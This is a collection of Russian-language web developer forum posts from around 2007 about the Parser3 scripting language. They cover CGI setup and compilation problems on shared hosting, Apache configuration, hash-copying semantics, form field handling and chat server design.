HTTP_COOKIE2 = $Version=1\
HTTP_HOST = www.surfingcamp.de\
HTTP_USER_AGENT = Opera/9.01 (Windows NT 5.1; U; en)\
PATH = /bin:/usr/bin\
PATH_INFO = /cgi-bin/printenv.cgi\
PATH_TRANSLATED = /kunden/homepages/30/d200854201/htdocs/cgi-bin/printenv.cgi\
QUERY_STRING = \
REDIRECT_DBENTRY = /kunden/homepages/30/d200854201/htdocs:d0000#CPU 6 #MEM 10240 #CGI 350 #NPROC 12 #TAID 44747718 #WERB 0 #LANG 0 #STAT 1\
REDIRECT_SCRIPT_URI = http://www.surfingcamp.de/cgi-bin/printenv.cgi\
REDIRECT_SCRIPT_URL = /cgi-bin/printenv.cgi\
REDIRECT_STATUS = 200\
REDIRECT_UNIQUE_ID = RhNxUsMU4QkAABvdFC8\
REDIRECT_URL = /cgi-bin/printenv.cgi\
REMOTE_ADDR = *.*.*.*\
REMOTE_PORT = 2174\
REQUEST_METHOD = GET\
REQUEST_URI = /cgi-bin/printenv.cgi\
SCRIPT_FILENAME = /kunden/homepages/30/d200854201/htdocs/cgi-bin/printenv.cgi\
SCRIPT_NAME = /cgi-bin/printenv.cgi\
SCRIPT_URI = http://www.surfingcamp.de/cgi-bin/printenv.cgi\
SCRIPT_URL = /cgi-bin/printenv.cgi\
SERVER_ADDR = 82.165.79.48\
SERVER_ADMIN = webmaster@surfingcamp.de\
SERVER_NAME = surfingcamp.de\
SERVER_PORT = 80\
SERVER_PROTOCOL = HTTP/1.1\
SERVER_SIGNATURE = \
SERVER_SOFTWARE = Apache/1.3.33 (Unix)\
STATUS = 200\
UNIQUE_ID = RhNxUsMU4QkAABvdFC8[/code]"
"59789","Но она говорит всё ok.\
\
- 1 CGI returned nonzero status\
status: 500\
content-type: text/plain\
content-length: 47\
\
Parser/3.1.6sp2 (compiled on i686-pc-linux-gnu)\
[Wed Apr  4 11:52:26 2007] [16724] Parser/3.1.6sp2 (compiled on i686-pc-linux-gnu)\
STDOUT OK STDERR OK"
"59792","вы открыли новое окно браузера, вбиваете в него URL http://www.surfingcamp.de/cgi-bin/printenv.cgi , и получаете в ответе, помимо прочего, REDIRECT_SCRIPT_URI, REDIRECT_DBENTRY и т.п.?\
\
Можно спросить у саппорта, зачем запрос к адресу куда-то редиректится?"
"59794","Making install in classes\
cd ../.. && make  am--refresh\
source='image.C' object='image.o' libtool=no  DEPDIR=.deps depmode=gcc /usr/local/bin/bash ../../depcomp  g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../sql -I../lib/gd -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../lib/sdbm/apr-include -Igd  -I/www/xxx/gnome/include -I/www/xxx/gnome/include/libxml2 -I../lib/md5 -I../lib/smtp     -g -O2 -c -o image.o image.C\
image.C: In method `EXIF_tag_value2name::EXIF_tag_value2name()':\
image.C:152: virtual memory exhausted\
*** Error code 1\
\
Собираю 3.2.1 на FreeBSD 4.11\
\
Понятно, что скрипту не хватает памяти. Не понятно, что делать.\
Памяти я ему больше дать не могу."
"59795","ну что-то типа[quote]Hallo,\
\
Ich habe 1&1 Homepage Business Pro tariff, mein Domain ist http://www.surfingcamp.de\
\
Meine Website benutzt eine CGI-file, http://www.surfingcamp.de/cgi-bin/parser3/parser3.cgi . Es ist keine Perl Script, das ist eine \"binary\" Datai. Es war compiliert auf Linux RedHat 7.1 und soll auf alle Versionen von Linux arbeiten. Wenn ich  http://www.surfingcamp.de/cgi-bin/parser3/parser3.cgi oeffne, ich sehe nuhr die erste Buchstaben aus parser3.cgi\
\
Das Problem ist das Ihr Webserver stertet parser3.cgi nicht: es nuhr druckt seine Inhalt.\
\
Was kann ich machen?[/quote]Мой немецкий умер лет пять назад, но смысл передать вроде удалось)))"
"59796","тут говорят http://www.parser.ru/forum/?id=56331\
\
\"попробовать собрать конкретно этот .o руками, убрав -O2 (то есть запустив ровно эту команду без -O2)\"\
\
а как это сделать?\
какую команду запустить?"
"59797","Два варианта:\
- попросите собрать суппорт (мол, \"памажите люди добрые, мне памяти не хватает на разовую задачку, да-кстати-вы-какое-пиво-любите?\")\
- поискать в домовой сети iso-шку с freebsd и VMWare. Поставить Фрю на виртуальный компутер и там скомпилировать."
"59798","Вот это помогло, вроде проблем нет.\
\
http://www.parser.ru/en/forum/?id=39760\
\
Что-то намекнуло, что проблема в PATH_TRANSLATED.\
\
Вот не знаю теперь, писать или нет..."
"59799","Два поста -- первый выполнятеся через prototype, второй -- обычной формой (оба поскипаны).\
[quote]\
POST /forum/comp-inet/1601/?mode=xml HTTP/1.1\
Accept: text/javascript, text/html, application/xml, text/xml, */*\
x-prototype-version: 1.5.0\
x-requested-with: XMLHttpRequest\
Content-Type: application/x-www-form-urlencoded; charset=UTF-8\
\
POST /forum/comp-inet/1601/ HTTP/1.1\
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\
Content-Type: application/x-www-form-urlencoded\
[/quote]\
Кодировка на сервере UTF-8. Все POST поля в первом случае не доходят.\
\
Может быть стоит не игнорировать эти поля, если кодировки совпадают, а при несовпадении -- просто и банально падать (хотя бы не молчать)?"
"59800","Результат такой же. \
1. При использовании * то все нормально выводится\
2. Если указать имена полей в SELECT то на имени поля \"No\" он выдает Expr1000.\
\
Текст скрипта:\
var\
  RS,          //Экземпляр объекта Recordset\
  SSource,     //Строка с текстом SQL-запроса к БД\
  SConnect,    //Строка с параметрами соединения с БД\
  SOut,        //Строка, в которой сохраняется выходная информация\
  s;\
//Формируем SQL-запрос к таблице\
SSource = \"SELECT * FROM Имя_таблицы\";\
SConnect = \"DSN=Имя_DSN\";\
RS=WScript.CreateObject(\"ADODB.Recordset\");\
RS.Open(SSource,SConnect);\
NomFields = RS.Fields.Count;\
SOut=\"\";\
for (i=0; i<RS.Fields.Count; i++) {\
  SOut+=RS.Fields(i).Name+\"\\t\";\
  }\
SOut+=\"\\n\";\
for (i=0; i<RS.Fields.Count; i++) {\
  SOut+=RS.Fields(RS.Fields(i).name)+\"\\t\";\
  }\
SOut+=\"\\n\";\
RS.Close();\
//Выводим на экран строку SOut\
WScript.Echo(SOut);\
\
Как то просто пытался вывести данные из столбца с именем \"No\" и получил ошибку:\
\
Error: Item cannot be found in the collection corresponding to the request name or ordinal.\
Code: 800A0CC1\
Source: ADODB.Recordset\
\
Так что, по видимому, не в Парсере дело. Разбираться некогда, придется переименовывать столбец."
"59801","SELECT\
no [b]AS 'number'[/b]\
field2,\
field3,\
..\
\
и всё у вас станет хорошо. А на будущее - не делайте того, что [url=\"http://support.microsoft.com/kb/286335\"]дядя Билл не разрешает[/url]."
"59804","http://www.parser.ru/forum/?id=16091\
\
1. настроить в Apache suexec\
2. в вашем <VirtualHost написать \
# \"ваш пользователь\"=\
# =пользователь, от имени которого вы по FTP что-то кладёте\
User \"ваш пользователь\"\
Group \"группа вашего пользователя\"\
\
видимо это и есть как должно \"быть правильно\""
"59805","не повторите ещё раз, но... как для блондинки? (ничего не понял что в каком случае ожидается и что происходит)\
\
+ bug.html сильно облегчит жизнь."
"59806","Посоветуйте хостинг забугорный, требования: Parser, Perl, MySQL, нормальная поддержка, недорого. Больше ничего. Заранее спасибо."
"59807","Найти забугорный хостинг без ограничений на трафик очень сложно.\
\
Мне [url=\"http://ruweb.net/?from=4738\"]вот тут[/url] размещение двух сайтов на одном аккаунте с PHP, Perl, CGI, 5 базами MySQL, 50Mb места и 500Mb трафика обходится в $1,2. Если бы вдесятеро увеличил и то, и другое, платил бы $5,8\
\
Серверы стоят в NAC (географически датацентр - рядом с Нью-Йорком). ОС - FreeBSD, парсер прекрасно работает. Недавно понадобилось поставить доп. модули Perl - просьбу выполнили моментально."
"59808","первый - потому что нет доступа к службе поддержки.\
а второй вариант... даже читать страшно!\
\
неужели нет другого выхода?\
может, есть у кого скомпилированный под FreeBSD 4.11?\
\
и я не понимаю, почему у меня не фурычит скачанный \"parser3_2_1_freebsd410R_cgi_xml.tar.gz\". Он не подходит к 4.11?\
Выдает \"Premature ...\" (закачано правильно, размер тот же, права 755)\
\
Памажите, люди добрые :)\
\
хостинг hosting.rbc.ru"
"59809","Вплоть до того, что тупо создал у себя на http-сервере директорию\
/domen/test/\
прописал во всех возможных auto.p команду\
[code]$request:document-root[z:/home/domen/www/test][/code]\
По идее, корень веб-пространства должен смениться.\
И все равно, если выполнить из директории \"test\" команду $request:uri, то она покажет /test/.\
Вопрос, это я такой лох и покемон, или команда глючит?"
"59810","Телефон у них на сайте присутствует - (495) 544-55-66"
"59811","Ну, при запуске того же самого из броузера получается\
\
[Thu Apr  5 09:27:52 2007] [error] [client 72.30.177.226] Premature end of script headers: /usr/home/green-panda.ru/libexec/parser3.cgi"
"59812","пересобрал из исходников - помогло. Но на обработке одного из файлов валит коредамп, что не очень правильно. Почему не работал редирект - неведомо. Сейчас буду собирать с отладочной информацией..."
"59813","а коредамп объяснялся примитивно просто, клиенты в конфиге накосячили, не ту версию libparser3mysql подгружали"
"59814","заставить работать не получилось - работают только ГЕТ.\
\
P.S. Как я понял речь идет о АЯКСе, и его передачей данных через прототипы."
"59815","Сайт хостится на рбк, http://www.pelican-m.ru/cgi-bin/parser3/parser3xml.cgi - работает. Но, блин, чтоб я помнил, какую версию под какую платформу я туда заливал два года назад........"
"59820","Все совпадает один в один.\
\
bug.html создавать довольно сложно )"
"59822","Too many heap sections.\
Ну и постоянно зависат сайт, пока не перезапущу. Не подскажете, в чем проблема? \
Apache 1.3.36 + parser 3.2.1 (Apashe_SwissKnife 3.5) + ODBC (MS Access). \
RAM 1 Gb, Pentium IV 2.500 GHz, HDD 80Gb.\
Раньше все было на другом серваке: Apache 1.3.33 + parser 3.1.1 (CGI). Правда память 2Gb и dual PIII.\
Там еще крутится почтовик.\
Неужели памяти не хватает?"
"59823","там (для совместимости с PHP HTTP_RAW_POST_DATA) данные POST'ом отправляются с Content-type: application/octet-stream.\
\
Пока есть два варианта - либо доставать из $request:body и парсить, как сейчас сделано в jshttprequest.p, либо поменять в js-библиотеке application/octet-stream на application/x-www-form-urlencoded."
"59824","Произошло это после того как страница у меня вылетела - отлаживал код. Вроде бы получилось, что не было логаута и теперь перестала пускать, впечатление, что не принимает пароль. Запустил \"_auth_setpwd.html\" (из примеров), заново установил пароль (какой был до этого, может надо было новый?). Но ... опять 25.\
Ну, в общем, вырезал кусок кода логаута, создал страницу типа \"logout.html\", он ругнулся, но после этого смог нормально залогиниться.\
Кто нибудь сталкивался? Вдруг такая проблема возникнет на рабочем сайте?"
"59825","прогнать на этой машине тест исправности памяти (есть на куче всяких \"ремонтных\" загрузочных cd или \"Live CD\" со всякими Линуксами).\
\
Также посмотрите в task manager (а ещё лучше - [url=\"http://www.microsoft.com/technet/sysinternals/ProcessesAndThreads/ProcessExplorer.mspx\"]этой утилиткой[/url]) что и сколько у вас откушивает память и поскольку."
"59826","colocation у провайдера.\
Заметил, что иногда (особенно после \"висячки\") Apache отжирает до ~ 365Mb. Когда я останавливаю через управление SwissKnif'а пара процессов Apache остаются в памяти (может продолжают обрабатывать какой то запрос?). Вручную убиваю процессы и заново запускаю Apache.\
Ощущение, что при простом перезапуске, если не \"добивать\" их, сайт очень медленно реагирует на запросы.\
К сожалению, не могу в режиме реального времени мониторить."
"59827","\"безумству храбрых поём мы песню\" (с)\
\
Может быть, лучше поставите \"родной\"  IIS с ISAPI-версией Парсера, а?\
\
http://swissknife.bougakov.com/misc/iis/"
"59830","уже какое-то время мы ощущаем, что неплохо бы прекратить безобразие с работой в памяти с буквами в кодировке $request:charset \
\
и сделать, как все — в unicode.\
да, потратится сколько-то памяти, зато многое изменится к более простому.\
\
скажем, регистр букв: относительно недавно мы сделали поддержку upper/lower для utf-8.\
\
скажем, до сих пор не сделали нормальный match в кодировке utf-8 (он работает существенно медленнее однобайтового match'а).\
\
ещё подумаем."
"59831","давно мучаемся."
"59832","у хостера явно сидят люди, которые построили некую хитросистему вокруг редиректа.\
\
от этой своей хитросистемы ради единичного виртуального сервера они, уверен, не откажутся."
"59833","new no news\
\
если не поздно, рассмотрите использование\
product\
item\
article\
\
вместо неанглийского слова."
"59834","мы так давно делаем и не нарадуемся.\
\
помогло ли в вашем случае?"
"59835","команда начинается со слова g++ и заканчивается image.C\
\
мне вспоминается, что на каком-то старом gcc у меня упиралось на execute.C, возможно, у и вас упрётся дальше.\
повторите трюк, мне помогало.\
\
понятно, результат нельзя будет назвать самым спортивным parser3 бинарником из всех возможных."
"59836","зациклившийся rewrite?\
в логах ничего подозрительного не видно?"
"59837","Не отвечают."
"59839","А тут есть люди, которые понимают, что это такое и как пользоваться?\
\
Собственно, задача стоит в том, чтобы сделать следующее.\
\
[code]www.site.ru = www.site.ru\
www.site.com = www.site.ru/en\
www.site.de = www.site.ru/de\
www.site.it = www.site.ru/it[/code]\
\
Попробовал сделать так на www.site.de.\
\
[code]RewriteEngine	on\
RewriteBase	/\
RewriteRule	^(.*)$	http://www.site.ru/de/$1  [P][/code]\
\
Получилось так, что работает, но как-то криво, будто всё подряд переписывается в \"/de/\" на конце. Все пути к изображениям, к файлам, к css.\
\
Кто-нить знает как это лечится?\
\
[i]Извиняюсь за мерзкий оффтоп.[/i]"
"59840","Странно, всегда тщательно выбираю названия для сущностей, а тут использовал первое, что пришло в голову. Хотя больше половины кода уже написано, исправить ещё не поздно :-)"
"59841","Это одна машина, да и зеркало прийдётся закрыть от индексирования"
"59842","Проще сделать example.de синонимом example.ru и определять текущий язык через $env:HTTP_HOST. Если же это невозможно (например, на example.de есть почтовые ящики), я поступаю хитро: делаю example.de/www симлинком example.ru/www, и всё работает аналогично."
"59843","У меня такая проблема возникла по глупости:\
пытался в виртуальном адресе использовать символ \"_\".\
т.е. my_site.ru\
\
Пока не убрал не заработало."
"59846","Главное правильно настроить. Естественно все настройки сервака \"перебил\". Главный (основной) сервер ни на что не отвечает, у него нет RootDocument, ServerName localhost и, вообще, все запрещено типа:\
<Directory \"/\">\
    Options          none\
    AllowOverride    none\
    Order            allow,deny\
    Deny from        all\
</Directory>\
\
Прописал все в виртульном хосте (на всякий случай, вдруг надо будет повесить еще сайты).\
Может зря? Нет ли в этом никакой \"засады\"?\
\
А насчет IIS - \"ненавижу\"!!!\
Стоял он у меня, знаю как облупленного. Вот он то и подвисал постоянно, да и всякие \"глюки\" напрягают начиная с известного unicode hack и т.д.\
\
Теперь вот неожиданно \"напряг\" Apache! После переноса на другой сервак с Colocation. Да еще ты натолкнул на мысль - может дело все в SwissKnife?"
"59848","её исходники - в комплекте.\
\
Версия Апача с момента выхода Swissknife подросла на единичку - можно заменить.\
\
На \"боевом\" сервере я бы поставил Apache в виде сервиса, запускаемого от отдельного пользователя с минимальными правами и очень бы ограничил возможности этого пользователя гулять по файловой системе сервера. Аналогично - с mysql."
"59849","Тогда почитайте про reverse-proxy.\
\
Обратите внимание: за трафик будете платить ДВА раза. + если ляжет канал между точкой и зеркалом -- сайт будет недоступен (502)"
"59851","Off: а зачем потёрли ответы?"
"59853","Unhandled exception 0xC0000005 at 0x00000048\
Да пробиваются сообщения типа:\
File does not exist: путь_к_документу/документ.html\
или\
File does not exist: путь_к_корню/favicon.ico\
Т.е. то, что не обрабатывается парсером потому, что парсер обрабатывает расширения \".htm\". А страниц с .html, которые запрашиваются нет."
"59854","Все связано, конечно, со спешкой, которая нужна сами знаете когда. Привлекло, что все в одном флаконе и не нужно особенно возиться. Может за это и \"расплачиваюсь\".\
В свое время даже Apache компилировал под Win32, чтобы он прикидывался IIS."
"59855","причём такая ошибка, что Парсер даже не выводит метод @unhandled_exception[] в браузер, а вываливает предсмертный хрип в виде короткого сообщение об ошибке.\
\
Предлагаемые шаги:\
- замените метод @unhandled_exception[] в auto.p на минималистичный вариант с этого сайта (зачем вам на \"боевом\" сервере демонстрировать посетителям подробнейшие сообщения об ошибках?)\
- подёргайте свой сервер многочисленными обращениями [i]/к/несуществующим/страницам.html[/i] и понаблюдайте за загрузкой сервера."
"59856","Нарыл хороший пример админки. Paf как-то говорил, что неплохо было-бы что-бы кно-нить сваял админку на XUL ([url=\"http://www.parser.ru/forum/?id=38549\"]http://www.parser.ru/forum/?id=38549[/url]).\
Нарыл вчера в блогах материал по готовому решению:\
\
[url=\"http://www.webdevelopers.cz/\"]http://www.webdevelopers.cz/[/url]\
\
[quote]Elixon  CMS/AJAX-XUL is the very first of the new generation of modern content management systems written in  XUL.[/quote]\
\
Подробно: [url=\"http://wiki.webdevelopers.cz/\"]http://wiki.webdevelopers.cz/[/url]"
"59857","возможностей больше, переносимости больше."
"59858","GWT совсем другое.\
[quote]Google Web Toolkit (GWT) is a Java software development framework that makes writing AJAX applications like Google Maps and  Gmail easy for developers taking[/quote]\
\
Речь идет о средстве описания интерфейса. Причем, подчерку, [b]простом[/b], т.к. нужно всего-лишь описать его xml-структуру, что гораздо проще, чем ваять Java-приложение.\
Кроме того, GWT, по сути, создает AJAX-приложение, которое представляет собой html-страницу.\
\
XUL - средство описания интерфейса, который формируеться самим браузером без всякого HTML-а. Причем, заметно быстрее."
"59859","На XUL гораздо проще будет переходить тем, кто использует для админок XML/XSL."
"59861","прикольно это все, но хороший интерфейс только описывая его вы ничего особенно не добьётесь.\
\
gwt работает во всех распространенный браузерах, а xul похоже нет."
"59863","$tab[$[p_$tab1.name]]\
$tab.столбец - выдает, что \"столбец\" string method not found.\
Подскажите решение"
"59864","[code]\
@main[]\
$table[^table::create{id	name\
1	test}]\
\
\
\
$s[table]\
$jTable[$$s]\
вуаля $jTable.id $jTable.name\
[/code]"
"59865","То есть в $tab пишется значение переменной, имя которой формируется из \"p_\" + поле name таблицы $tab1?\
\
$sTmp[$tab1.name]\
$sTmp[p_$sTmp]\
$tTab[$[$sTmp]]\
\
Так чтоль?"
"59867","увы, \"таблетку\" и \"модуль\" не уловил."
"59868","[code]$str[<html>\
<body>\
	some body\
</body>\
</html>][/code]\
\
если $str вначале сохранить, а потому загруить файл и выдать через $response:download, вроде все нормально:\
[code]^str.save[/file.html]\
$response:download[^file::load[text;/file.html]][/code]\
браузер предлагает сохранить файл на диск.\
\
а если сделать что-то типа этого:\
[code]$response:download[^file::base64[^str.base64[]]][/code]\
HTML-файл выводиться в браузере.\
можно ли это как-то обойти? Каждый раз сохранять на диск, потом удалять не нужные файлы не очень хочется..."
"59869","перегрелся наверное :)\
\
вот:\
[code]$response:download[^file::create[text;file.html;$str]][/code]"
"59870","Mozilla Embedded весит всего метров под десять - можно встроить в собственную программу-админку сайта и горя не знать в сравнении с онлайн-WISIWYG-редакторами."
"59871","когда начнете что-нибудь делать, обязательно покажите.\
\
я почему так защищаю GWT, потому что у меня уже есть админ написанный на GWT исходный код более 500 килобайт, это значит что я говорю не просто так? а я уже хорошенько все пощупал и могу сказать, что у технологии реально большое будущее в отличие от других подобных технологий."
"59872","Никто не спорит, что GWT штука хорошая. Просто для некоторых необходимость использования Java для написания интерфейса напрягает. Например меня.\
XML как средство описания интерфейса гораздо проще и, поэтому, привлекательней. Кроме того, \"отрисовка\" интерфейса средствами Mozill-ы осуществляется гораздо быстрее чем многие AJAX-админки."
"59873","[code]$h[ $.c(0) ]\
$h1[^hash::create[$h]]\
$h2[^hash::create[$h]]\
$h1.c $h2.c\
^h1.c.inc(1)\
$h1.c $h2.c[/code]\
выдает\
0 0\
1 1\
тогда как при замене вызова inc[] на\
[code]$h1.c($h1.c+1)[/code]\
ожидаемое\
0 0\
1 0\
\
Parser/3.2.1sp2 (compiled on i386-pc-win32)"
"59875","В некоторых случаях бывает необходимо получить из формы хеш. Например, когда покупатель заполняет количество заказываемых товаров из списка, в форме передаются поля quantity#, где # равен product_id. Для обработки полученных полей [url=http://www.parser.ru/forum/?id=27910]простой перебор[/url] в данном случае явно не подойдёт.\
\
Misha v.3 как-то [url=http://www.parser.ru/forum/?id=55528]предлагал[/url] ввести $form:hashes, но идея не получила развития. Как было бы лучше называть поля? quantity[#] - по аналогии с PHP, или quantity.# - в соответствии с синтаксисом hash? Второй вариант мне нравится больше. Тем более, в отличие от пхпшного, он соответствует [url=http://www.w3.org/TR/html4/types.html#type-cdata]спецификации[/url].\
\
Пока же я использую следующий метод:\
\
[code]@getFormHashes[][sName;sValue;tMatch]\
$result[^hash::create[]]\
^form:fields.foreach[sName;sValue]{\
	$tMatch[^sName.match[^^(.+)\\.(.+)^$]]\
	^if($tMatch){\
		^if(!$result.[$tMatch.1]){\
			$result.[$tMatch.1][^hash::create[]]\
		}\
		$result.[$tMatch.1].[$tMatch.2][$sValue]\
	}\
}\
#end @getFormHashes[][/code]"
"59879","hash::create дублирует ключи, значения же идут по ссылке (неглубокое копирование, shallow).\
\
вдумайтесь:\
[code]\
$a[\
  $.t[^table::create[300k]]\
  $.inner[\
     $.inner[\
        ^class1::create[params]\
     ]\
  ]\
]\
$b[^hash::create[$a]]\
[/code]\
\
должны ли отличаться $a.inner.inner от $b.inner.inner?"
"59880","у нас, конечно, не форум врачей, но здоровье никому лишним не будет. в любой день.\
\
а немножко дружеского offtopic для хорошей атмосферы, только хорошо.\
\
[b]Христос воистину воскресе![/b]"
"59883","..не подумал, что это относится и к значениям элементарных типов данных, таких как числа и строки.\
Ввел в заблуждение отрывок из документации:\
[quote]Если предполагается интенсивная работа по [b]изменению[/b] содержимого хеша, но необходимо сохранить, скажем, значения по умолчанию, например:\
$pets[\
   $.pet[Собака]\
   $.food[Косточка]\
   $.good[Ошейник]\
]\
$pets_copy[^hash::create[$pets]][/quote]\
Но для строк нет методов, изменяющих их \"по месту\" - всегда возвращается новое значение и такой ситуации (как в случае методов inc[], dec[], mul[], div[], mod[]) не могло бы возникнуть."
"59884","...это когда мы хотим передать несколько file в input с одним именем. именно для решения этого я и предлагал form:hashes (хотя сейчас мне больше нравится form:files, и скорее всего именно его я приделаю).\
\
в реализациях корзны онлайн магазина я не могу придумать ситуацию, чтобы нужно было передавать несколько file. \
\
=> опишите вашу задачу, плиз :)\
\
P.S. поля называть quantity, хотя если вы на одной странице собираетесь показать список продуктов и дать возможность посетителю за раз изменить не только одно поле, я бы назвал их так: quantity_${product_id}, т.к. тут проблема не в том что надо передать разные значения, а в том, чтобы понять для какой сущности какое значение передано."
"59885","Задача: т. к. список товаров заведомо ограничен (примерно 10 наименований), нужно вывести их список с возможностью указать количество каждого товара.\
\
[quot]я бы назвал их так: quantity_${product_id}[/quot]\
\
Я их так и называю (ну или почти так):\
\
[quot]в форме передаются поля quantity#, где # равен product_id[/quot]\
\
Проблема в том, как эти поля обрабатывать на сервере. Приходится фильтровать поля формы на наличие quantity, потом выделять оттуда product_id. Мне эта операция показалась \"грязной\", поэтому я выделил её в отдельный оператор. Теперь поля называются quantity.$product_id.\
\
Мне кажется, было бы удобно, если бы парсер автоматически помещал поля формы, содержащие точку, в $form:hashes. Вряд ли кто захочет просто так передать поле с точкой в имени. А если и захочет, то сможет получить его в двух видах: $form:[quantity.12] и $form:hashes.quantity.12. Плюс в том, что в последнем случае он сможет сделать ^form:hashes.quantity.foreach[] и получить все переданные значения. В то время как в первом случае приходится разбирать имена полей вручную.\
\
Задача стоит шире: передать в форме изменяемое поле для нескольких объектов и _удобно_ обработать его на сервере."
"59886","с ним про браузер вообще можно забыть и имхо гораздо удобнее запускать админа как самостоятельное приложение.\
Да и с переносимостью все тип топ.\
\
http://developer.mozilla.org/en/docs/Category:XULRunner\
\
Не думаю, что на данный момент существует задача для админа, с которой не смог бы справиться xulrunner...\
Для лунахода можно состряпать свой компонент на  Java/C++"
"59887","[quot]\
в форме передаются поля quantity#, где # равен product_id\
[/quot]\
\
не заметил, привык что символом '#' указывают номера последовательности.\
\
[quot]\
Вряд ли кто захочет просто так передать поле с точкой в имени.\
[/quot]\
\
я хочу и передаю, например в классе авторизации :)\
\
в общем понял что хочется вам. когда я упоминал $form:hashes я говорил совсем про другое.\
\
в предлагаемом варианте мне это не нравится. это частный, используемый вами способ реализации, который просто решается написанием одного небольшого метода."
"59890","Спасибо им за это.\
Я, правда, не понял, что они сделали :), но парсер теперь не выдает ошибку.\
Версия парсера та же, версия ОС тоже...\
Может, был какой-то запрет на определенные скрипты?"
"59891","http://www.jobtoday.com.ua/slovar/slovo.php?gnm=24879\
http://p.uoportal.ru/show/76461/\
http://char-p.ushakov.astcom.ru/show.52362.html\
http://char-p.ushakov.astcom.ru/show.52360.html\
\
Поздороветь — тезаурусный синоним =)"
"59892","Хочется написать небольшой чат, для сотни-двух болтотролей.\
\
Обновление потока сообщений хочется реализовать через DOM, используя js-фреймворк jQuery, выбирая только новые сообщения.\
Вопрос в нагрузке на сервер от такого чата.\
\
Рассматривал пример чата из раздела примеров от Мишы, там обращение за новыми сообщениями происходит 2 раза в секунду (если я ничего не путаю). Это означает по 2 запроса к бд в секунду от каждого пользователя + постоянное дерганье сервера http-запросами.\
\
[b]Это нормальный режим работы чата, или можно как-то нагрузку на сервер минимизировать?[/b]\
\
\
Первым что пришло на ум, но довольно сложно в плане технической реализации, это использование своего демона на отдельном порту, который бы постоянно держал открытое соединение с клиентской частью чата на js, и постоянно выводил туда поток новых сообщений.\
(не до конца представляю все технические тонкости такого приложения, и вобщем-то чуствую что должно быть что-то проще).\
\
В случае такой реализации, какие есть возможности для разбора такого потока сообщений на стороне клиента?\
\
Есть ли еще какие-то механизмы удержания открытого соединения?\
\
Спасибо."
"59894","можно обойтись без открытого соединения.\
\
раз в несколько секунд js посылает запрос на апдейт сообщений, и передает номер последнего сообщения, а сервер ему выдает сообщения которые были добавлены за это время.\
\
два запроса к базе это фигня, самое сложное для сервера постоянно \
компилировать файлики парсера, и просто загружать его.\
\
так что когда я делал \"морской бой\", то я использовал perl и fast-cgi. там все висит в памяти и вообще можно без базы программировать. вместо perl'а можно использовать java.\
\
ps. javascript для меня умер после появления gwt. :-)"
"59895","немного смущающая формулировка, и то, что конкретно в примере строки вполне может сбить с толку.\
\
принимаем(как обычно) идеи по улучшению доки.\
как бы вы сформулировали это место? [было/стало]"
"59896","Постоянно кстати спотыкаюсь\
[code]\
$b[^hash::create[$a]]\
[/code]\
имх должен делать [b]самостоятельную[/b] копию,\
проблемы обращения с памятью - проблемы разработчика,\
хочет плодить таблицы по 300к - пусть плодит\
здесь:\
[code]\
@main[]\
$a[\
  $.1[\
     $.1[nice]\
  ]\
  $.2[...]\
]\
$b[^hash::create[$a]]\
$b.1.1[beeee]\
$a.1.1\
[/code]\
я хочу видеть 'nice', а не то что вижу. Xотел бы по ссылке написал бы $b[$a]\
\
Имх парсер в данной ситуации слишком много берет на себя, решая за меня, что лучше для сервера"
"59897","Можно заменить приведенный отрывок на следующий.\
[quote]Если предполагается интенсивная работа по изменению содержимого хеша, но необходимо сохранить, скажем, значения по умолчанию, пригодится конструктор копии, например:\
[code]$pets[\
   $.pet[Собака]\
   $.food[Косточка]\
   $.good[Ошейник]\
]\
$pets_copy[^hash::create[$pets]][/code]\
\
[i]Замечание:[/i] в использовании описанного метода следует быть осторожным при применении к полям хеша методов, непосредственно изменяющих значения их ключей. Например, в результате выполнения кода\
[code]$project[\
   $.start[^date::now[]]\
   $.member_count(1)\
]\
$new_project[^hash::create[$project]]\
^new_project.start.roll[day](10)\
^new_project.member_count.inc(2)\
[/code]значения ключей хеша $project будут идентичны значениям соответствующих ключей хеша $new_project.[/quote]"
"59898","первое что приходит в голову (из приличного) - mod_perl.\
\
Но все равно, это 2 конекта к базе в секунду от каждого болтотроля. Может есть способы хоть коннект к базе сохранять?\
\
Слышал что-то про persistent connections.. но не знаю насколько это применимо в данном случае."
"59899","Парсер (как и многие другие языки) в состоянии самостоятельно скопировать только объекты простых типов (строки, числа). Копирование сложных структур (например, пользовательских объектов в которых есть ссылки на другие объекты) очень нетривиальная задача - простым копированием области памяти \"байт в байт\" здесь не обойтись. Поэтому подход с копированием ссылок вполне нормальный."
"59900","http://www.hostmake.ru/"
"59901","http://www.hostmake.ru/about/\
\
[quote]Стрела сдвинута вправо на несколько градусов, что позволяет уйти от положения \"неудач\".[/quote]"
"59902","http://www.eatmeat.ru/catalog/kolb/     выбираешь из списка любой раздел, к примеру ВАРЕНЫЕ Колбасы открываешь, не открывается, вроде начинает грузиться ридер а нет, белый лист и всё браузер пишит что ГОТОВО, сайт делался на parser+xml. Уже pdf в более старые версии пересохранял, не помогает, уменьшал размер та же петрушка. Что такое может кто то встречался?"
"59903","- непример, если бы не было 'SELECT *', то думаю куча кода была бы более понятной, хотя в данном случае это тоже лишь инструмент, и использовать его или нет должен решать разработчик, и все последствия по должны лежать на нём. однако упомянутую '*' используют все кому не лень вообще не думая о последствиях.\
\
- в языке могут быть тяжелые операции, но считаю что их использование должно быть сделано максимально неудобным, чтобы пользовались или лишь по большой нужде, и осознанно. клонирование хеша на парсере написать можно.\
\
- за всё время общения с парсером мне ни разу не потребовалось копировать хеш целиком.\
\
- указанное в заголовке треда поведение должно быть или изменено или дополнительно описано, т.к. для программиста эти две операции -- почти синонимы, и подобное поведение не есть хорошо."
"59904","у нас при использовании fast-cgi вообще был один коннект к базе, который не разрывался и сервак в среднем обслуживал до 200 игроков одновременно."
"59905","Всё прекрасно открывается в браузере.\
\
Возможно, вам просто нужно переустановить acrobat, почистить кэш браузера и презагрузиться?\
\
Ещё вариант - при отдаче файла выставите content-type не pdf, а \"application/octet-stream\", чтобы заставлять посетителя сохранить файл на диск, и открыть уже оттуда?"
"59906","Вообщем ситуация такая, acrobat переустанавливался, кэш чистился, перезагружал всё что можно, значит тестили с других компов с другого провайдера та же петрушка, сохранить можно конечно поробовать но хотелось бы это открывать в браузере так было бы удобнее для руководства. Незнаю даже вообще куда рыть просто глюк какой то"
